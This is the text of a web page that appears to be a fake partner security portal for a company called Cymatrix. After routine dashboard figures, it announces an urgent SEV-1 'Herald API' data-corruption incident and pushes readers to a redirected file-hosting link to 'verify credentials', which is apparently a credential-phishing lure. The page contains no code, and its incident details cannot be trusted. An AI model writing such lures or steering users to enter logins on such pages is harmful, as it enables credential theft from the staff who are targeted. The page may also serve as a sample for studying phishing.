Partner Security Portal

Real-time monitoring, incident management, and API integration analytics for Cymatrix partners.

API Health

98.7%
+0.2% from last week

Active Integrations

142
+3 this month

Avg Response Time

87ms
-12ms optimized

Data Integrity

99.99%
Perfect this quarter
SEV-1: CRITICAL INCIDENT
CYM-INC-5021

Herald API Data Corruption - Immediate Action Required

A critical failure has been detected in the Herald API data coercion service, causing malformed payloads to be sent to partner systems. This has resulted in a complete halt of policy binding operations.

Detection Time

2026-01-14 14:20 UTC

Affected Service

Herald API Integration Layer

Error Code

VALIDATION_ERR::previousLosses

Impact Level

System-Wide Integration

Immediate Impact: All policy binding operations are failing. Webhook notifications for policy activation have been disrupted. Partner systems may experience cascading failures.

Required Action: Access the full diagnostic log file to verify integration credentials and review corrupted payload data. Authentication with partner credentials is required for security compliance.

Access Diagnostic File & Verify Credentials

Note: You will be redirected to our secure file hosting service. Partner authentication is mandatory for accessing sensitive incident data.